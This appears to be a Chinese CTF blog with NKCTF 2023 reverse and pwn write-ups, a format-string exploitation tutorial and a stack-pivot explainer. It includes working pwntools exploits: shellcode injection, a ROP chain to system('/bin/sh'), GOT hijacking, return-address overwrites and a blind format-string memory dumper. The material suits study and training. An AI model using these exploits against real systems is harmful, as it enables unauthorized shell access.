xor ecx, ecx
mov cx, count //循环次数,shellcode长度

tag_decode:
mov al, [esi + ecx] //循环解码,倒序
xor al, key
mov [esi + ecx], al
loop tag_decode
xor [esi + ecx], key //解码漏了的第一个字节

jmp esi //转到shellcode地址
}
阅读全文
NKCTF 2023 Bin部分复现

Reverse

try_decrypt_me

一道安卓逆向;

jadx打开查看其MainActivity:

Android

最上面的函数说明主要逻辑就是用了一个AES加密输入内容;

最下面的图说明其采用的AES模式;

而中间说明其传入的密钥是字符串 reversehavemagic 进行了md5加密,且该加密有偏移量iv;

问题出现在最后的字符串比较上,这个r4点不开;

怎么拿到比较字符串呢?

按TAB打开汇编界面,找到比较的对应行数50,之后可看到它实际上是将 secret字段传入了r4里,现在直接搜索secret便可看到一串由base64加密的字符串,这说明经过AES加密后还进行了base64编码,因为字符不可见;

find_secret

那么此时就有密文:secretbase64解码后的hex;

密钥:reversehavemagic MD5加密后的hex组成的字串;

偏移量iv:r3v3rs3car3fully;

将这些数据直接写进在线网址的AES解密里便可拿到flag:

NKCTF{nI_k@i_sHi_zhu_j1an_il_Jie_RE_le}

PMKF

打开IDA:

发现是读取C盘下的一个叫做nk.ctf里的二进制文件;

用里面的数据来加工之后对比数据;

可以看出开头的6个数据为(byte_405100为nkman)

\x05nkman

main

可以发现后面的数据都是进行了迷宫操作:(左图操作数据移动)(右上判断撞墙或者赢)

maze

首先将读入的数据异或后以byte进行>>k & 3的运算;然后根据其为0,1,2,3进行上下左右的移动,因为是+=18 -=18的缘故,这个迷宫数组(右下图)可以用每行18来对齐,之后可以很容易找出迷宫的移动轨迹,顺势推出0123的组合:

1122332212232211011111010000010112110111222323303323221111122333

调试可以得到异或的v11是个固定的数据:21;

则可写出python脚本用z3求解:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
from z3 import *

s = Solver()

ans = [BitVec('ans[%d]' % i,32) for i in range(16)]

aim = '1122332212232211011111010000010112110111222323303323221111122333'

k = 0

for i in range(16):
xored = ans[i] ^ 21
for j in range(6,-1,-2):
s.add((xored >> j) & 3 == ord(aim[k]) - 48)
k += 1

if s.check() == sat:
print(s.model())

#得到ans之后再跑一遍如下得到16个hex
ans = [0] * 16

ans[10] = 190
ans[0] = 79
ans[14] = 67
ans[4] = 0
ans[1] = 239
ans[11] = 169
ans[2] = 126
ans[13] = 176
ans[8] = 112
ans[12] = 238
ans[5] = 68
ans[3] = 176
ans[15] = 170
ans[6] = 21
ans[9] = 0
ans[7] = 4

for i in ans:
if i < 16:
print('0%x' % i,end='')
else:
print("%x" % i,end='')

flag要求包裹nk.ctf里的十六进制内容,则flag:

nkctf{056e6b6d616e4fef7eb0004415047000bea9eeb043aa}

not_a_like

打开之后可以很清楚的发现这是upx打包之后的结果,函数太少了,结构也和upx很像;

但是直接用upx -d是没办法解开的,猜测是更改了upx标识码;

010editor打开搜索upx:

会发现如下有很多大小写共存的upx,但直接改写会导致这个程序错误;

upx

自实现一个标准的upx加密,对照着来看,可以发现,正规upx加密的一个区域里有 UPX0 UPX1 UPX2;

自然可以在这道题里找到对应的区域,只是这里的UPX标志都被改成0了;写回去之后便可用upx -d脱壳了;

注意只改UPX0-3,不要直接复制会有问题;

之后再打开ida查看,会发现有很多py函数,推测这是python打包的exe,于是又用pyinstxtractor来解包,很幸运没有key参;最后从pyc使用uncompyle6变为原始的py文件:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
# uncompyle6 version 3.8.0
# Python bytecode 3.8.0 (3413)
# Decompiled from: Python 3.8.10 (tags/v3.8.10:3d8993a, May 3 2021, 11:48:03) [MSC v.1928 64 bit (AMD64)]
# Embedded file name: not_a_like.py
# Compiled at: 1995-09-28 00:18:56
# Size of source mod 2**32: 272 bytes
import libnum, base64, hashlib
from ctypes import *

def encrypt(text):
data_xor_iv = bytearray()
sbox = []
j = 0
x = y = k = 0
key = '911dcd09ad021d68780e3efed1aa8549'
for i in range(256):
sbox.append(i)
else:
for i in range(256):
j = j + sbox[i] + ord(key[(i % len(key))]) & 255
sbox[i], sbox[j] = sbox[j], sbox[i]
else:
for idx in text:
x = x + 1 & 255
y = y + sbox[x] & 255
sbox[x], sbox[y] = sbox[y], sbox[x]
k = sbox[(sbox[x] + sbox[y] & 255)]
data_xor_iv.append(idx ^ k)
else:
return data_xor_iv


if __name__ == '__main__':
flag = input('请输入flag> ')
pub_key = [19252067118061066631831653736874168743759225404757996498452383337816071866700225650384181012362739758314516273574942119597579042209488383895276825193118297972030907899188520426741919737573230050112614350868516818112742663713344658825493377512886311960823584992531185444207705213109184076273376878524090762327, 76230002233243117494160925838103007078059987783012242668154928419914737829063294895922280964326704163760912076151634681903538211391318232043295054505369037037489356790665952040424073700340441976087746298068796807069622346676856605244662923296325332812844754859450419515772460413762564695491785275009170060931]
m = libnum.s2n(flag)
c = str(pow(m, pub_key[0], pub_key[1]))
q = b'EeJWrgtF+5ue9MRiq7drUAFPtrLATlBZMBW2CdWHRN73Hek7DPVIYDHtMIAfTcYiEV87W7poChqpyUXYI3+/zf5yyDOyE9ARLfa5qilXggu60lmQzFqvFv+1uOaeI2hs2wx+QZtxqGZzC0VCVWvbTQ52nA2UdUtnk8VezRMPMfmf7rOqPxDTv/aacLnI3RdLG2TbT52qtN4+naejI7Xe8HLOL765OZKdDBERKwd5ARQ3UL6YPbuOKOQahIFddnIX6rZ7dTNqCUDOjfJbMdrzJVDNjmNlkLNtYFo7M65Wfwj6PV5vvtT33FsmH50/YLEasnlCiJujYOgi2KCdf5msz1dPEvrXDDL6Csnjo+6m/44RzlluzcqMS5ZJFdrHEh68LIqtu+HCO+69Dyq4e22APq8wgN9kU6R8kikXSn/Ej0N/jOvomFCbkHskRl8xP1KgWFW0SMVDlaDCM4EKG812VgDWgSYOUnVhVpz65uOtg4Z8PrPI+BW4398dQYhD24D9EIPgvtmhNrHiEHouB46ElTGQgZBhtn6y9tL1sw=='
v = encrypt(base64.b64encode(c.encode('utf-8')))
v = base64.b64encode(v)
if v == q:
print('You are right!')
input('')
else:
print('winer winer winnie dinner')
print('Do you think the encryption and decryption are the same?')
# okay decompiling not_a_like.pyc

先是使用rsa加密为一串数字c,然后把c编码base64进行rc4加密,之后再把加密后的v用base64编码,编码后的v与q数据进行比较;

一路逆回去,只有rsa卡住了一会儿,会发现rsa公钥中的n过大,不好分出p和q,但是e也过大,所以可以用维纳攻击;

在网上搜索维纳攻击脚本输入对应数据可以解出flag:

NKCTF{chinese_zhenghan}

babyrust

用ida打开查看可以说伪代码相当难看;

只有用字符串配合着汇编勉强可以看出端倪,且输入数字会产生异常,输入字符会回显一串字符串;

seek

可以发现要求输入长度为28,且该输入一一对应,这意味着可以采用按位爆破来解题;

且它给出了回显,那就更好办了,都不用patch,直接开子进程输入,之后接收回显比较对应字符串;

先试试吧,它题目给的fake gift比较一下看看结果:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
import subprocess

real_flag=''
cur_index=0 #当前爆破的位置
aim = b")&n_qFb'NZXpj)*bLDmLnVj]@^_H" #给的gift

while cur_index<28:
for i in range(32,128): #当前爆破的位置上的字符
real_flag_arr = [0] * 28

for j in range(len(real_flag_arr)-1,cur_index,-1): #除了当前爆破的位置,其他位置 上都设置为 空格
real_flag_arr[j]=32

real_flag_arr[cur_index]=i #设置当前爆破的位置上的字符
real_flag_arr_s="".join(chr(k) for k in real_flag_arr) #输入到程序中的字符串
p = subprocess.Popen(["C:\\Users\\Second_BC\\Desktop\\babyrust.exe"], stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
p.stdin.write(real_flag_arr_s.encode())
p.stdin.close()
#接收输出,第134个刚刚为括号字串
out = p.stdout.read()[134:]

#判断有无返回(只有字符会返回,其他会异常,但也返回一些printf,只是不返回那串括号字串)
if len(out) != 0:
if out[cur_index] == aim[cur_index]:
real_flag += chr(i)
cur_index += 1
print(real_flag)
break

狠狠地爱一一对应关系的逆向,直接就爆出flag:

NKCTF{WLcomE_NOWayBaCk_RuST}

earlier

两个文件,一个exe一个dll;

先用ida查看exe,可以发现其很难看:

main_0

直接搜索字符串是找不到的,dll里也找不到,猜测是被加密隐藏了;

直接调会直接闪退,看到export表里面的tls回调函数就知道是怎么一回事了;

tls一般用于共享内存的多线程处理,但其回调函数是会提前在main之前执行的,所以可以把反调试的内容放里面;

进去之后看着也是依托答辩:

dabian

可以看到最下面是出现了退出进程的,这说明确实反调试就在这一坨,但是上面出现了call坏地址,也同时有短距离的无用跳转;

可以想到出现了花指令在混淆;

修复之后:

fixed

顺便也把tlscallback_1_0的也修了,就可以发现有三种反调试: IsDebuggerPresent,NtSetInformationThread,NtQueryInformationProcess;

把对应的地方改了,比如右上图的if(result)改成了if(!result),下面也同样如此;

此时就可以调试到main里去了;

然后main中的三个函数前半段是可以看出逻辑的,但后半段就全部乱了;

image.png

但他们三个有共同的特点,在有逻辑的代码段里都调用了同一个函数,把这个函数去花可得到右图;

而去逆dll可以发现它调用的这两个函数的作用就是把原程序里的这三个函数无逻辑的地方进行异或运算;

计算完之后就变成正常的函数了,也可以发现之前运行时的字符串了;

具体逻辑即为rc4加密;进行解密后得到flag:

nkctf{y0u_are_so_clever_f0r_debug_enc0de!}

Pwn

ez_shellcode

shellcode

可以发现这个read函数能很容易的实现栈溢出,因为buf距离rbp只有70h,但允许读入100h;

这个rand实则是个伪随机,默认每次都为一个固定的值,84;

且输入的内容会被复制到buf2缓冲区上,这个缓冲区在bss段上,此题的bss段是可执行区段,且该题已经直接就把buf2当成函数用了;

但不能直接输入垃圾代码填充前半段,因为构造的shellcode至少都有40位的长度,buf2缓冲区可没这么长;

所以要在最开始写入shellcode,然后在执行buf2[v6]的地方写进jmp指令,跳转回buf2[0]的地方执行shellcode;

Exp代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
from pwn import *

#别忘了加,不加默认下面构造shellcode是以32位来的
context(os="linux", arch="amd64")

p = process('./pwn')

shellcode = asm(shellcraft.sh())

#后面的一坨jmp偏移可调试获得
payload = shellcode.ljust(84,b'a') + b'\xe9\xa7\xff\xff\xff'
p.sendline(payload)

p.interactive()

story

左图为main函数;

image.png

可发现在warning函数中可以拿到puts地址,heart中可实现栈溢出,其他三个函数都是可在bss段上分别写入8字节的内容;

同时可以知道heart函数栈溢出的位数太少了,只够return的位数:0x20-0xA-8 = 0xE(8 + 6);

所以想到用栈迁移来弥补覆盖过少的缺点,而构造的提权payload可以就放在bss段的ao上,刚好24个字节3个内容分别为:

  1. pop_rdi_ret;
  2. bin_sh_addr;
  3. system_addr;

因为是64位程序,需要用rdi寄存器来传入参数;

pop rdi;retn;这串指令可以在csu上找得到,pop r15 的机械码是 41 5F,而5F对应的就是 pop rdi;

bin_sh和system可以用puts函数地址计算偏移获得;

栈迁移目标地址就是ao,二次leave指令可以就选在heart函数上,它本身就自带leave;

Exp代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
from pwn import *

#把格式化输出的地址转化为int类型的函数
def calcan(bcannary):
i = 0
j = 0
for i in range(len(bcannary)):
if(bcannary[i] == 10):
break

new_c = [0] * i
for j in range(i):
new_c[i - j - 1] = bcannary[j]

j -= 2
can = 0
for i in range(j+1):
if (new_c[i] > 47) & (new_c[i] < 60):
can += pow(16,i) * (new_c[i] - 48)
elif (new_c[i] > 96) & (new_c[i] < 103):
can += pow(16,i) * (new_c[i] - 87)

return can

#开始
p = process('./pwn')
elf = ELF('./pwn')
libc = elf.libc

puts = elf.plt['puts']
puts_g = elf.got['puts']

#先走4拿puts地址
payload = b'4'
p.sendlineafter("\n1.acm\n2.ctf\n3.love\n4.heart\n> \n",payload)
r = p.recv()[83:100]
puts_addr = calcan(r)

#计算出system函数和binsh地址,以及ROPgadget找出的pop rdi;retn的地址
libc.address = puts_addr - libc.symbols['puts']
system_addr = libc.symbols['system']
binsh_addr = next(libc.search(b'/bin/sh'))
pop_rdi_ret = 0x401573
sleep(1)

#按地址顺序写入需要payload提权的内容
payload = b'2'
p.sendline(payload)
p.sendline(p64(pop_rdi_ret))
sleep(1)

payload = b'1'
p.sendline(payload)
p.sendline(p64(binsh_addr))
sleep(1)

payload = b'3'
p.sendline(payload)
p.sendline(p64(system_addr))
sleep(1)

#进入heart函数
payload = b'4'
p.sendline(payload)
sleep(1)

#aim即为 ao 地址,leave为ida找出heart自身的leave指令地址
aim = 0x4050A0
leave = 0x40139E
payload = b'a'*10 + p64(aim-8) + p64(leave)
p.sendlineafter("now, come and read my heart...\n",payload)
p.interactive()
阅读全文
格式化字符串

具体见:利用 - CTF Wiki (ctf-wiki.org)

写法

在使用printf函数时,会用到如下内容:

1
2
3
4
5
%d			//打印整数
%x //打印十六进制
%p //打印指针数值(32位打印4字节,64位打印8字节)
%s //打印字符串(打印地址指向的内容)
%n //将该格式化之前的字符数量通过地址存入变量中;

这里重点说明下 %s,%n;

%s 虽说时用来打印字符串的,但其本质是将参数视作指针,打印指针指向的内容,一直显示到 ‘\x00’ ,当使用 recv() 函数接收时,得到的是 byte 类型,所以可以得到 int 类型;

%n 如下图所示:

%n

它将存储出现在 %n 之前的字符数量到对应的参数变量中,本身不会有任何显示;

如上图实际打印的内容是: “geeks for geeks” ;

且 %n 一般跑在gcc编译的c中,Windows上的编译器会有问题;

同样只能跑在 gcc 中的另类写法,也是格式化字符串利用的核心:

1
%3$x

用下面代码举例,上面的写法会打印出printf的第4个参数的hex形式,也就是c;

1
printf("%3$x",a,b,c,d);

3的意思是从格式化字符串开始往后算的第三个参数,x表示格式;

原理

在32位程序中,调用函数时,变量都是存在栈上的,比如当调用下示代码时,会有如此的栈格式:

1
printf("%3$x",a,b,c,d);

栈:

ebp-> 0xold_ebp //printf函数内部栈帧
0地址 0xretaddr //返回地址
1地址 0xstringaddr //格式化字符串 “%3$x” 地址
2地址 a
3地址 b
4地址 c
5地址 d

当然真实情况中,这些参数的顺序会有变化(一般就是这样),但是可以通过调试确定下来;

格式化字符串符号 % 的作用就是:读取栈中这些变量的内容,对应的将其打印出来;

第一个%打印第一个参数,第二个%打印第二个参数,也就是栈中的a,b;

当然用特殊的写法可打印对应的参数的内容;

泄露内存

利用 %k$p 获取数据内容,利用 %k$s 获取指针指向的内容,利用 [AimAddr]%k$s 获取指定地址处的内容;

泄露栈变量内存

考虑如下代码:

1
printf("%2$x");

它没有跟参数能这样写吗?

答案是可以,拿上面用表格画的栈图来说,此时它的作用就是将3地址的内容以十六进制打印出来,尽管此时3地址里放的是奇怪的东西;

于是就可以先算出想要得到的 在main栈帧 里的数据对于地址1的间隔 k;

比如现在main中想得到其上级函数的ebp值,调试可知ebp的值存于 m地址 中,那么 k 就应该是:
$$
k = (m地址 - 1地址) / 指针长度
$$
指针长度即为对齐,32位是4,64位是8;

此时执行 printf("%k$p"); 便可得到main中储存的上级函数ebp的值;

这个k的数值,也同样是printf函数的第 k+1 个参数,因为1地址中存的是格式化字符串,也就是printf函数的第 1 个参数;

泄露以变量为指针指向的内存

还记得 %s 的作用吗,它会打印出以变量为指针所指的内容;

got表就是一个指针,对于在got表地址上的函数,其实都是指向其真实存在的地址的指针;

假设scanf在got中的地址就是0x12345678,那么利用如下代码,便可打印出 scanf 函数的真实地址:

1
printf("0x12345678%x%k$s");

当此格式化字符串在输出函数调用时是第 k+1个参数的时候,这么写,就能让 %k$s 去格式化 0x12345678 字符串,从而就能得到 0x12345678 指向的内容,进而打印出来得到 scanf 真正的地址;

但很多时候,第k + 1个参数是 “3456..” 或者干脆 “烫烫烫0x1234..” 诸如此类的;

意思是,它并没有对齐,所以当调试结果为上述情况时,请在0x12345678地址前添加垃圾信息,使得在 整数倍的 k + 1 上能够直接拿到 0x12345678 地址,进而使得后面的特殊写法打印出该地址指向的内容;

获取栈中指定指针内存就没那么麻烦了,正如泄露变量内存一样的写法,只是将p改为s;

覆盖内存

这个时候,%n会帮大忙,它可以将其对应参数视为指针,以int型填入在%n前面的字符数量;

所以当知道要覆盖内存的地址,格式化字符串相对于输出函数的偏移就可以进行覆盖了;

具体格式如下:

1
printf("...[AimAddr]...%k$n");

如上的…为垃圾内容负责填充 AimAddr 的对齐,k要找到 AimAddr的位置,后面的…是为了与前面的字符一起扩展成想要的长度,使其填入 AimAddr 中;

覆盖小数字

此时要把 AimAddr 放在 %n 的后面,这样能控制填入的数据始终可以小于4;

具体格式如下:

1
printf("...%k$n...[AimAddr]");

此时…的作用就反转了,前面的是控制写入的数,后者为控制地址的对齐;

覆盖大数字

可以用 … 来扩展很长很长,但会使得程序的性能变低,出来的速度下降;

以 %hhn 来写,可以使得填入变量的类型为字节,以 %hn 来写,可以使得填入变量的类型为双字;

由此可以控制单个字节的覆盖;

而一个int型是需要占4个字节的,那么分别填入单字节内容,使其最后呈现出大数字的效果就行;

比如:c变量的地址为:[c],而想对其填入0x12345678则其内存中应该是如此分布的:

地址 存储
[c] 0x78
[c+1] 0x56
[c+2] 0x34
[c+3] 0x12

x86为小端序存储;

那么对应printf中的内容应该是这样的:

1
printf("...[c][c+1][c+2][c+3]...%k$hhn...%k+1$hhn...%k+2$hhn...%k+3$hhn");

使得k能找到[c]的位置,且控制 %k$hhn 前面的数量为 0x78 ,而第二个%hhn的控制数量应该是 0x156,因为只能增大,不能减小,但是填入的是一个字节的内容,所以只会填入 0x56,后面同理;

基本用法

用题来举例;

goodluck

看IDA的main函数:

main

可以看的出来整个程序逻辑为,输入后和远程服务器的flag文件比较,仅此而已;

但是它会用printf泄露出输入的内容,所以可以想到用格式化字符串的方法泄露v10的信息;

因为程序是x64,所以函数存放参数的话,是先放在前6个寄存器中,多余的参数放在栈上,所以寻找到合适的栈偏移后,需要加上6;

gdb

如上图,这是在printf函数内部,此时的栈图rsp刚刚指向返回地址,那么下面的就都可以看成是 “参数” 了;

可以看到构造的flag文件的内容被放到了rsp往下第四个,加上前6个参数,这算作printf函数的第10个参数,所以在邪路时,写为:

1
"%9$s"

用指针方式读出该flag;

解题脚本如下:

1
2
3
4
5
6
7
8
from pwn import *

p = process('./goodluck')

payload = '%9$s'
p.recvuntil("what's the flag\n")
p.sendline(payload)
print(p.recv())

hijack GOT

未开启 RELRO 保护(Partial RELRO)的程序是可以修改 GOT 表的;

那么可以覆盖System地址给目标函数的地址到got表,此时执行目标函数也就是执行System函数了;

一般步骤:

  1. 获取目标函数的got表地址:IDA查询;

  2. 获取System函数的内存地址:通过泄露计算;

  3. 写入:运用ROP或者write函数或者%n覆盖;

    1
    2
    3
    4
    //此时目标函数为printf
    pop eax; ret; # printf@got -> eax
    pop ebx; ret; # (addr_offset = system_addr - printf_addr) -> ebx
    add [eax] ebx; ret; # [printf@got] = [printf@got] + addr_offset

看题:

查看IDA代码:

main

主函数一开始有个比较密码,这个逆向还原就行;

接下来是模拟shell,可以输入三种命令:put get dir,分别创建 file_head ,打印content,打印 file_head;

这个题里不存在栈溢出,所以没办法ret,但却是 partial relro,且有格式化字符串漏洞;

所以可以把puts的got表作为指针修改为System地址去执行,因为两个参数类型数量也一样,满足调用约定;

则binsh字符串写入file_head中,格式化字符串漏洞的内容写入content;

此时可以通过格式化字符串漏洞泄露出printf got表地址,从而得到system函数地址;

具体思路:

  1. 通过密码;
  2. 执行put,写入任意和字符串漏洞内容;
  3. 执行get,泄露system地址;
  4. 执行put,写入字符串漏洞%n覆盖got表指向地址;
  5. 执行get,完成got表覆盖;
  6. 再次执行put,写入binsh字符串;
  7. 执行dir,完成攻击;

首先通过调试把字符串漏洞的偏移确定下来为8;也就是 %7$s

通过代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
from pwn import *

p = process('./pwn3')
elf = ELF('./pwn3')
libc = elf.libc

printfgot = elf.got['printf']
putsgot = elf.got['puts']

#输入密码
p.recvuntil("Name (ftp.hacker.server:Rainism):")
p.sendline('rxraclhm')

#执行put泄露地址
p.sendline('put')
p.sendline(b'\x00haha')
p.sendline(p32(printfgot) + b'%7$s')

#执行get
p.sendline('get')
p.recv()
p.sendline(b'\x00haha')

#泄露printf地址并计算system地址
printf_addr = u32(p.recv()[4:8])
libc.address = printf_addr - libc.symbols['printf']
system = libc.symbols['system']

#执行put覆盖地址
p.sendline('put')
p.sendline(b'\x001122')
#pwntools自行构建覆盖payload,7是字符串相对于第一个参数偏移
payload = fmtstr_payload(7,{putsgot:system})
p.sendline(payload)

#再次执行get
p.sendline('get')
p.sendline(b'\x001122')

#最后一次执行put
p.sendline('put')
p.sendline(b'/bin/sh')
p.sendline('deadbeaf')

#执行dir实现攻击
p.recv()
p.sendline('dir')
p.interactive()

至于为什么前两次发送 file_head 的时候要加\X00,是因为最后执行system(s)的时候,s会有bug,不加00的话,最后的结果是三串字符串连接在一起,导致system找不到路径;

hijack retaddr

最重要的思想:通过rbp取栈地址;

查看IDA:

main

上面是main函数,一开始会让输入账户和密码,也就是register函数,同时是两个可以利用的缓冲区;

进入choice函数后,和上道题一样,有三个选择,其中edit是重新写入账户密码,show是两次字符串漏洞,quit是执行一个puts函数;

但这道题开启了RELRO保护,所以不能和上道题一样改变puts的got表,所以思想是覆盖返回地址;

返回地址在栈上,既然要覆盖它,就必须拿到栈上的地址,那么rbp存储的内容就很值得推敲了;

在show中拥有两次字符串漏洞,分别展示之前输入的账户和密码:

1
2
3
4
5
6
int __fastcall sub_400B07(int a1, int a2, int a3, int a4, int a5, int a6, char format, int a8, __int64 a9)
{
write(0, "Welc0me to sangebaimao!\n", 0x1AuLL);
printf(&format);
return printf((const char *)&a9 + 4);
}

在此程序的地址:0x4008AA处,会发现一个system(“/bin/sh”)的调用,那么可以利用字符串漏洞覆盖返回地址为该地址;

输入se和ss并在return的printf处打下断点并查看栈图:

stack

可以看到printf的第三个参数是输入的账号,第一排为printf的返回地址,而第二个参数是show函数的返回地址,如下方汇编所示;

第一个参数是show函数的rbp指向,则旧rbp值也是指向栈的,所以可以利用旧rbp值来进行便宜计算,拿到返回地址的地址;
$$
c0 - 80 - 8 = 38
$$
则用旧rbp值减去0x38便可以得到返回choice函数地址的地址;

代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
from pwn import *

#把格式化输出的地址转化为int类型的函数
def b2i(b,len):
i = len
j = 0

new_c = [0] * i
for j in range(i):
new_c[i - j - 1] = b[j]

j -= 2
res = 0
for i in range(j+1):
if (new_c[i] > 47) & (new_c[i] < 60):
res += pow(16,i) * (new_c[i] - 48)
elif (new_c[i] > 96) & (new_c[i] < 103):
res += pow(16,i) * (new_c[i] - 87)

return res


p = process('./pwnme_k0')

#第一次账号密码
p.sendline(b'Aanyway')
p.recv()
p.sendline(b'%6$p')
p.recv()

#show1用于泄露返回地址的地址
p.sendline(b'1')
retaddr = p.recv()[8:22]
retaddr = b2i(retaddr,22 - 8) - 0x38
print(hex(retaddr))

#edit第二次账号密码
p.sendline(b'2')
p.recv()
p.sendline(p64(retaddr))
p.recv()
#2218对应十六进制08AA,用hn覆盖低两个字节,因为再往上的字节实际上都是40一样的
p.sendline(b'%2218d%8$hn')
p.recv()

#show2用于返回shell
p.sendline(b'1')
p.recv()
p.interactive()

字符串盲打

字如其名,手里没有可逆向的文件,只能靠格式化字符串输入来获取远程文件的信息以攻占shell;

一般来说有如下步骤:

  • 确定程序位数
  • 确定漏洞位置
  • 利用

栈泄露

查看题目输入%p查看多少位:

aim

此图的上半部分展示了它是64位的程序;

且它有提示告知了:flag is on the stack;

那么就循环输入%p一直查看栈上的内容,正如上图的下半部分所示即可得出flag;

代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
from pwn import *

#把格式化输出的地址转化为int类型的函数
def b2i(b,len):
i = len
j = 0

new_c = [0] * i
for j in range(i):
new_c[i - j - 1] = b[j]

j -= 2
res = 0
for i in range(j+1):
if (new_c[i] > 47) & (new_c[i] < 60):
res += pow(16,i) * (new_c[i] - 48)
elif (new_c[i] > 96) & (new_c[i] < 103):
res += pow(16,i) * (new_c[i] - 87)

return res

for i in range(100):
p = process('./blind')
payload = b'%%%d$p' % i
p.sendline(payload)
data = p.recv()[:18]
if data.startswith(b'0x'):
print(p64(b2i(data,18)))
p.close()

劫持got

依然是查看位数和确定字符串偏移:

blind

此时的偏移就有用了,因为要劫持got;

如图可知,偏移为:6,也就是%6$p;

程序一般是从0x400000开始,要劫持got表就需要知道got内容,所以直接用字符串漏洞的方法泄露整个程序的数据:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
from pwn import *

def leak(addr):
num = 0
#不断地开启关闭程序会有bug的时候,所以泄露三次
while num < 3:
try:
print('leak addr: ' + hex(addr))
p = process('./blind')
#偏移为多少,第一个便用多少+2
payload = b'%00008$s' + b'STARTEND' + p64(addr)
# 说明有\n,出现新的一行
if b'\x0a' in payload:
return None
p.sendline(payload)
data = p.recvuntil(b'STARTEND', drop=True)
p.close()
return data
except Exception:
num += 1
continue
return None


addr = 0x400000
f = open('binary','w')
while addr < 0x401000:
data = leak(addr)
if data is None:
f.write('\xff')
addr += 1
elif len(data) == 0:
f.write('\x00')
addr += 1
else:
f.write(str(data))
addr += len(data)

通用格式,直接套就行,使用之后便可得到原程序binary;

之后分析binary:

main

看得出整个程序非常简单;

可以知道的是无法利用栈溢出;

若要劫持got表也只有printf函数的;

所以思路是:

  • 泄露printf自身函数地址并计算出system;
  • 覆盖got表;
  • 输入binsh执行system函数成功攻击;

代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
from pwn import *

p = process('./blind')
elf = ELF('./blind')
libc = elf.libc

printfgot = elf.got['printf']

#第一次输入载入so中printf
payload = b'123'
p.sendline(payload)
p.recv()

#第二次输入泄漏printf,got地址写后面,不然会因为其高地址为0被截断
payload = b'%00008$s' + b'\x00aaaaaaa' +p64(printfgot)
p.sendline(payload)
printfaddr = p.recv()
#8位地址的高位是0,会被格式化%s截断,调试得高位有两字节为0
printfaddr += b'\x00\x00'
printfaddr = u64(printfaddr)

#计算system
libc.address = printfaddr - libc.symbols['printf']
system = libc.symbols['system']
system = p64(system)

#第三次输入覆盖
payload = fmtstr_payload(6, {printfgot: system})
p.sendline(payload)
p.recv()

#第四次输入执行system
p.sendline('/bin/sh')
p.interactive()
阅读全文
栈迁移

详细见:栈迁移原理介绍与应用 - Max1z - 博客园 (cnblogs.com)

其实际上的作用就是控制esp指向已构造好的payload区(覆盖量不够的情况,可先构造好一段payload到特定的内存段上);

原理

利用栈平衡的操作;

32位调用函数时,会有如下操作发生:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
//第一步:操作执行流
push eip+4 //保存函数返回地址入栈
mov eip, Func //执行流进入函数
---
//第二步:构造新栈帧
push ebp //保存上层函数栈底ebp
mov ebp, esp //将ebp指向旧ebp的值,也是此函数的栈底
add esp, xxh //增长栈顶构成新栈帧
---
//第三步:还原上层栈帧形态 Leave
mov esp, ebp //让esp重新指向此函数的栈底
pop ebp //将此时esp指向的旧ebp值弹出给ebp,此时ebp指向旧栈底,且esp指向ret的地址
//retn
pop eip //将此时ret地址的值弹出给执行流,此时esp指向旧栈顶

第三步的即为第二部的逆运算,可以称这步为Leave,如果能够劫持在函数里的旧ebp值,就可以使得 pop ebp 到一个可控的地方,栈顶的位置是由ebp的值而控制:mov esp,ebp;从而可能影响esp,从而控制进程流;

流程

如下图所示:

current

意思是在Leave中,需要颠倒1,2行的内容;

如何颠倒,很简单,用gadget思想;

即首先控制旧ebp和ret地址,让ret地址返回到新的一组Leave中去,此时可以把esp的值控制为第一次的ebp的值,使得栈顶转移到另一处内存空间,达成栈迁移;

执行流程:

  1. 使用gadget寻找新一组的Leave地址:NewLeaveAddr,以及目标栈顶位置:AimAddr;
  2. 覆盖旧址ebp为 AimAddr-4 (64位-8,因为第二次执行Leave时,会再次pop ebp,使得esp下降,即往高地址走一格)
  3. 覆盖ret地址为 NewLeaveAddr;

执行之后,新的栈顶指向AimAddr(此时还未执行pop eip),栈底指向AimAddr-4处的数值;

运用情况

这个技术运用于栈溢出返回字节不够时的情况,此时只用覆盖ebp和ret地址就行;

能够使用该技术的情景:

  1. 存在leave ret gadget;
  2. 存在可执行 payload 的内存段;

一般而言,能执行shellcode的地方直接ret就行了,不需要这么复杂,不能执行指令的片段上,此时需要运用在栈上,使得控制的栈帧介于输入的变量缓冲区上,把可覆盖区域尽量拉长,利用已填写的 payload 再次实现经典栈溢出;

使用实例

code

上图为一个栈帧,此时最左侧为变量数组下标0处,也是控制esp指向的目标位置;

  1. 确定旧ebp与该变量的偏移,因为可以通过格式化字符串泄露旧ebp内容,从而动态地计算出此时此刻变量在栈中的地址:AimAddr;
  2. 找到gadget NewLeaveAddr,此时覆盖ebp处为变量地址,ret地址为gadget地址;
  3. 可知当执行之后,esp会减少一格到此变量下标1处,且此时(pop eip)即ret还没执行;

